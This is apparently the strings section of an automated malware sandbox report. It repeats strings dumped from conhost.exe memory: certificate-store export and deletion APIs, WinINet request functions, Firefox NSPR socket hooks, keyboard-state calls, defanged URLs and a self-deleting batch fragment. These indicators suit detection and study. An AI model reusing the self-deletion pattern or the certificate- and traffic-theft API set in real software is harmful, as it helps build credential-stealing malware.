PFXExportCertStoreEx

CRYPT32.dll

HttpSendRequestExA

HttpQueryInfoA

HttpSendRequestExW

HttpSendRequestW

HttpSendRequestA

GetUrlCacheEntryInfoW

HttpAddRequestHeadersW

HttpAddRequestHeadersA

InternetCrackUrlA

HttpOpenRequestA

WININET.dll

OLEAUT32.dll

NETAPI32.dll

>">->3>?>

5S5C5N5Z5

nspr4.dll

cGlobal\XXX

SysShadow

e.dat

kernel32.dll

"%s" %s

/c "%s"

%sx.%s

%sx

Global\{56D805F2-50D6-E44B-ABFA-FDFE6BA669A9}

C:\Users\"%CurrentUserName%"\AppData\Roaming

{C0A3B7D7-E2F3-7230-ABFA-FDFE6BA669A9}

conhost.exe_2168_rwx_000B0000_00027000:

.text

`.data

.reloc

PR_OpenTCPSocket

hXXp://VVV.google.com/webhp

gdiplus.dll

GdiplusShutdown

ole32.dll

gdi32.dll

,127!' ./9

5/ -?9/#$

./.-#**:

6 !26!1'1

7"52),,>

, >(3=2;

&;1"&1!7!1

;1 "?&! ?

c,%udcvpdxv ~iydjGBT\YGmTRL[ZMI_

7.>.3; `

1:,0/2$7

?$6 39 ~

HTTP/1.1

hXXp://

hXXps://

HTTP/1.

userenv.dll

del "%s"

if exist "%s" goto d

del /F "%s"

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)

urlmon.dll

cabinet.dll

SSShlD

GetProcessHeap

KERNEL32.dll

ExitWindowsEx

OpenWindowStationW

GetProcessWindowStation

CreateWindowStationW

CloseWindowStation

SetProcessWindowStation

GetKeyboardState

MapVirtualKeyW

SetKeyboardState

MsgWaitForMultipleObjects

USER32.dll

RegOpenKeyExW

RegEnumKeyExW

RegCloseKey

RegCreateKeyExW

ADVAPI32.dll

PathIsURLW

UrlUnescapeA

SHDeleteKeyW

SHLWAPI.dll

ShellExecuteW

SHELL32.dll

Secur32.dll

SetViewportOrgEx

GDI32.dll

WS2_32.dll

PFXImportCertStore

CertDeleteCertificateFromStore

CertOpenSystemStoreW

CertCloseStore

CertEnumCertificatesInStore

CertDuplicateCertificateContext

PFXExportCertStoreEx

CRYPT32.dll

HttpSendRequestExA

HttpQueryInfoA

HttpSendRequestExW

HttpSendRequestW

HttpSendRequestA

GetUrlCacheEntryInfoW

HttpAddRequestHeadersW

HttpAddRequestHeadersA

InternetCrackUrlA

HttpOpenRequestA

WININET.dll

OLEAUT32.dll

NETAPI32.dll

>">->3>?>

5S5C5N5Z5

nspr4.dll

cGlobal\XXX

SysShadow

e.dat

kernel32.dll

"%s" %s

/c "%s"

%sx.%s

%sx

Global\{56D805F2-50D6-E44B-ABFA-FDFE6BA669A9}

C:\Users\"%CurrentUserName%"\AppData\Roaming

{C0A3B7D7-E2F3-7230-ABFA-FDFE6BA669A9}

conhost.exe_3240_rwx_001B0000_00027000:

.text

`.data

.reloc

PR_OpenTCPSocket

hXXp://VVV.google.com/webhp

gdiplus.dll

GdiplusShutdown

ole32.dll

gdi32.dll

,127!' ./9

5/ -?9/#$

./.-#**:

6 !26!1'1

7"52),,>

, >(3=2;

&;1"&1!7!1

;1 "?&! ?

c,%udcvpdxv ~iydjGBT\YGmTRL[ZMI_

7.>.3; `

1:,0/2$7

?$6 39 ~

HTTP/1.1

hXXp://

hXXps://

HTTP/1.

userenv.dll

del "%s"

if exist "%s" goto d

del /F "%s"

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)

urlmon.dll

cabinet.dll

SSShlD

GetProcessHeap

KERNEL32.dll

ExitWindowsEx

OpenWindowStationW

GetProcessWindowStation

CreateWindowStationW

CloseWindowStation

SetProcessWindowStation

GetKeyboardState

MapVirtualKeyW

SetKeyboardState

MsgWaitForMultipleObjects

USER32.dll

RegOpenKeyExW

RegEnumKeyExW

RegCloseKey

RegCreateKeyExW

ADVAPI32.dll

PathIsURLW

UrlUnescapeA

SHDeleteKeyW

SHLWAPI.dll

ShellExecuteW

SHELL32.dll

Secur32.dll

SetViewportOrgEx

GDI32.dll

WS2_32.dll

PFXImportCertStore

CertDeleteCertificateFromStore

CertOpenSystemStoreW

CertCloseStore

CertEnumCertificatesInStore

CertDuplicateCertificateContext

PFXExportCertStoreEx

CRYPT32.dll

HttpSendRequestExA

HttpQueryInfoA

HttpSendRequestExW

HttpSendRequestW

HttpSendRequestA

GetUrlCacheEntryInfoW

HttpAddRequestHeadersW

HttpAddRequestHeadersA

InternetCrackUrlA

HttpOpenRequestA

WININET.dll

OLEAUT32.dll

NETAPI32.dll

>">->3>?>

5S5C5N5Z5

nspr4.dll

cGlobal\XXX

SysShadow

e.dat

kernel32.dll

"%s" %s

/c "%s"

%sx.%s

%sx

Global\{56D805F2-50D6-E44B-ABFA-FDFE6BA669A9}

C:\Users\"%CurrentUserName%"\AppData\Roaming

{C0A3B7D7-E2F3-7230-ABFA-FDFE6BA669A9}

Summary

Dynamic Analysis

Removals

Static Analysis

Network Activity

Map

Strings from Dumps